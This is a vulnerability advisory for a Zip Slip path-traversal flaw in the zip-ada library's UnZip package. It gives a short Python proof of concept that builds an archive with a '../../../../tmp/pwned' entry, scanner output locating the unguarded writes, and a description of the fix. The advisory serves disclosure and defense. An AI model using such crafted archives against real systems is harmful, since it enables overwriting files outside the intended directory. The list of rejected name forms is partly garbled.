The UnZip package of the zip-ada library (Alire crate zipada) created output files using the entry name stored inside the archive without validating it. A maliciously crafted archive could therefore name an entry with an absolute path, a Windows drive letter, or .. directory-traversal segments and cause files to be written outside the intended extraction directory (the classic “Zip Slip” weakness, CWE-22: Improper Limitation of a Pathname to a Restricted Directory). Arbitrary file write can lead to overwriting trusted files and, in turn, code execution.
Affected: zip-ada through version 62 (reference date 14-Mar-2026, commit e99daad) and earlier.
Fixed: version 62 (reference date 01-Jun-2026, commit b3ad96a).
Build an evil.zip whose single entry is named with a traversal path. Standard archivers refuse to store such a name, so write it directly with a few lines of Python:
$ python3 - <<'EOF'
import zipfile
with zipfile.ZipFile('evil.zip', 'w') as z:
# the entry name itself is the traversal payload
z.writestr('../../../../tmp/pwned', 'owned')
EOF
$ unzip -l evil.zip
Length Date Time Name
--------- ---------- ----- ----
5 2026-06-01 00:00 ../../../../tmp/pwned
When evil.zip was extracted with the UnZip package, the entry name ../../../../tmp/pwned was passed straight through to file creation, so it resolved above the extraction directory and the file owned landed at /tmp/pwned — an attacker-chosen location on disk. Absolute paths (/tmp/pwned) and Windows drive letters (C:\pwned) work the same way.
This weakness was surfaced by Pragmatic's ArchiveSlip checker (CWE-22). The checker looks for archive-extraction code that opens an output file whose name is computed at run time with no .. / Is_Absolute / Zip-Slip guard visible in the enclosing subprogram. Running it against the library points to the possibility of an unguarded write in unzip-decompress.adb:
$ ./bin/pragmatic -E=ArchiveSlip -e=adb zip_lib/unzip-decompress.adb | grep ArchiveSlip 22,ArchiveSlip,zip_lib/unzip-decompress.adb,1980,Pragmatic Scanner,"Archive-extraction code opens an output file via ""Ada.Streams.Stream_IO.Create"" with a Name argument that is computed at run time (not a string literal) and no `..` / Is_Absolute / Zip_Slip traversal guard is visible in the enclosing subprogram. ..." 22,ArchiveSlip,zip_lib/unzip-decompress.adb,1983,Pragmatic Scanner,"Archive-extraction code opens an output file via ""Ada.Text_IO.Create"" with a Name argument that is computed at run time (not a string literal) and ..."
Lines 1980 and 1983 are the two arms of the write_mode case that hand the archive-derived output_file_name directly to Create. The checker is a lightweight single-unit heuristic: it flags the unguarded write rather than proving reachability.
The maintainer added a dedicated Zip_Slip_Attempt exception in zip.ads and hardened the output-name handling in unzip.adb. When the output name is derived from the archive, the library now rejects the file before any filesystem operation if the name:
/ or \),C:),..), orThe check is correctly scoped: it applies only when the name comes from the archive, and is harmlessly skipped when the caller has asked to discard directory components (which already strips everything before the final separator). The fix landed upstream in commit b3ad96a.
Our sincere thanks to Gautier de Montmollin, the maintainer of zip-ada, who was an absolute pleasure to work with throughout this disclosure. He responded promptly and graciously, took the report seriously, and turned around a clean, well-considered fix in remarkably short order. His professionalism and care for the security of his projects are exemplary, and we are grateful for his many contributions to the Ada community.
CVSS 4.0 Base Score: 7.0 (High)
CVSS:4.0/AV:L/AC:L/AT:N/PR:N/UI:A/VC:N/VI:H/VA:N/SC:N/SI:N/SA:N
The attacker supplies a crafted archive that the victim extracts locally (AV:L, UI:A); successful exploitation yields an arbitrary file write outside the target directory (VI:H). Deployments that extract attacker-supplied archives without user interaction (e.g. automated server-side processing) should re-score with UI:N, raising the severity.
b3ad96a).